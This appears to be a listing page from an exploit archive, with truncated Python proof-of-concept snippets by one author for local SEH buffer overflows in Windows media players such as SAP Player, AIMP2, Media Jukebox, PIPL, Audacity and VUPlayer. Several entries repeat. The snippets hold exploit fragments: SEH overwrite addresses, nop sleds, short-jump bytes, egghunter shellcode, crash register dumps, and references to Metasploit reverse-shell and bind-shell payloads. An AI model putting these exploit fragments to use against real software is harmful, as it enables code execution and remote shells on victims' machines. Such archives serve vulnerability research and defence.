SAP Player 0.9 - '.pla' Universal Local Buffer Overflow (SEH)

!/usr/bin/python SAP player 0.9 .pla Universal Local BoF Exploit SEH Download: http://www.sorinara.com/sap/sap09.exe Credits go to: PLATEN Coded by: Steven Seeley aka mrme Tested on Windows XP SP3 Its not dead till its buried ; windows/shell/reversetcp - 617 bytes stage 1 http://www.metasploit.co...

AIMP2 Audio Converter 2.53b330 Crash

!/usr/bin/python AIMP2 Audio Converter = 2.53 build 330 .pls/.m3u Unicode local crash PoC Found & exploited by: mrme Download: ftp://www.catode.ru/AIMP/aimp2.51.330.zip Tested on: Wind0ws XP SP3 Unicode overflow, maybe someone with better skills can exploit this you need to overwrite SEH handler...

AIMP2 Audio Converter 2.53b330 - '.pls' / '.m3u' Unicode Crash (PoC)

!/usr/bin/python AIMP2 Audio Converter = 2.53 build 330 .pls/.m3u Unicode local crash PoC Found & exploited by: mrme Download: ftp://www.catode.ru/AIMP/aimp2.51.330.zip Tested on: Wind0ws XP SP3 Unicode overflow, maybe someone with better skills can exploit this you need to overwrite SEH handler...

AIMP2 Audio Converter <= 2.53b330 (.pls/.m3u) Unicode Crash PoC

No description provided by source. !/usr/bin/python AIMP2 Audio Converter = 2.53 build 330 .pls/.m3u Unicode local crash PoC Found & exploited by: mrme Download: ftp://www.catode.ru/AIMP/aimp2.51.330.zip Tested on: Wind0ws XP SP3 Unicode overflow, maybe someone with better skills can exploit this...

AIMP2 Audio Converter 2.53b330 - .pls .m3u Unicode Crash (PoC)

AIMP2 Audio Converter 2.53b330 - .pls .m3u Unicode Crash PoC !/usr/bin/python AIMP2 Audio Converter = 2.53 build 330 .pls/.m3u Unicode local crash PoC Found & exploited by: mrme Download: ftp://www.catode.ru/AIMP/aimp2.51.330.zip Tested on: Wind0ws XP SP3 Unicode overflow, maybe someone with bett...

Media Jukebox 8 - .pls Universal Local Buffer (SEH)

Media Jukebox 8 - .pls Universal Local Buffer SEH !/usr/bin/python Media Jukebox 8 .pls Universal Local Buffer Exploit SEH Author: mrme Download: http://download.chip.eu/en/Media-Jukebox-8.0.40076134.html Note: we needed a header to trigger this one ; Tested on: Wind0ws XP and Vist@ Greetz:...

Media Jukebox 8 - '.pls' Universal Local Buffer (SEH)

!/usr/bin/python Media Jukebox 8 .pls Universal Local Buffer Exploit SEH Author: mrme Download: http://download.chip.eu/en/Media-Jukebox-8.0.40076134.html Note: we needed a header to trigger this one ; Tested on: Wind0ws XP and Vist@ Greetz: offensive-security, I tried harder : msf exploithandler...

PIPL 2.5.0 Buffer Overflow

!/usr/bin/python PIPL print "+ Pipl 2.5.0 local exploit" bof="\x41" 4108 nsh="\xEB\x06\x90\x90" seh="\x17\x07\x01\x10" xaudio.dll ppr nops="\x90" 20 win32bind - EXITFUNC=thread LPORT=4444 Size=717 Encoder=PexAlphaNum http://metasploit.com / sc =...

PIPL 2.5.0 - '.m3u' Universal Buffer Overflow (SEH)

!/usr/bin/python PIPL print "+ Pipl 2.5.0 local exploit" bof="\x41" 4108 nsh="\xEB\x06\x90\x90" seh="\x17\x07\x01\x10" xaudio.dll ppr nops="\x90" 20 win32bind - EXITFUNC=thread LPORT=4444 Size=717 Encoder=PexAlphaNum http://metasploit.com / sc =...

Audacity 1.2 Buffer Overflow

!/usr/bin/env python Audacity print " + Creating eviL .gro file..." buff = "\x44" 174 buff += "\xEB\x08\x90\x90" buff += "\x22\x23\x17\x01" buff += "\x90" 4 buff += "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8" "\x57\x30\x30\x54" this is the egg...

VUPlayer 2.49 - '.m3u' Universal Buffer Overflow

!/usr/bin/env python VUPlayer RESPECT! : What do we see at crash time? ; EAX 00000000 ECX 41414141 EDX 00000001 EBX 00000111 ESP 0012EEA8 ASCII "AAAAAAAAAAAAAAAAAA EBP 41414141 ESI 00000001 EDI 0012F214 ASCII "AAAAAAAAAAAAAAAAAA EIP 41414141 1010539f \x9f\x53\x10\x10 jmp esp in BASSWMA.dll...